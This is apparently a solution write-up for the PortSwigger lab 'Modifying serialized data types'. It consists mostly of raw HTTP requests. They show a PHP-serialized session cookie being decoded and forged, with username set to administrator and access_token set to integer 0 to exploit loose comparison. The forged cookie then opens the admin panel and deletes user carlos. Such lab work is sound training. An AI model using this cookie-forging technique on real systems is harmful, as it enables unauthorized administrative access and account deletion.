Port Swigger Modifying serialized data types
Modifying serialized data types
Solution
Login as user: wiener
POST /login HTTP/2
Host: 0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net
Cookie: session=
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net
Referer: https://0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
username=wiener&password=peter
---
GET /my-account?id=wiener HTTP/2
Host: 0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJpYTY0eGpnaWgyZnkweDI1ZHZvcGhlMGpiZmRub3pncSI7fQ%3d%3d
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Edit cookie session
Old cookie session:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJpYTY0eGpnaWgyZnkweDI1ZHZvcGhlMGpiZmRub3pncSI7fQ%3d%3d
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ia64xjgih2fy0x25dvophe0jbfdnozgq";}
___
New cookie session:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
---
GET /my-account?id=wiener HTTP/2
Host: 0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
___
GET /login HTTP/2
Host: 0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Delete user: carlos (panel admin)
GET /admin HTTP/2
Host: 0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
GET /admin/delete?username=carlos HTTP/2
Host: 0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a7a001104ff4c3680b8a37e007d0002.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Solved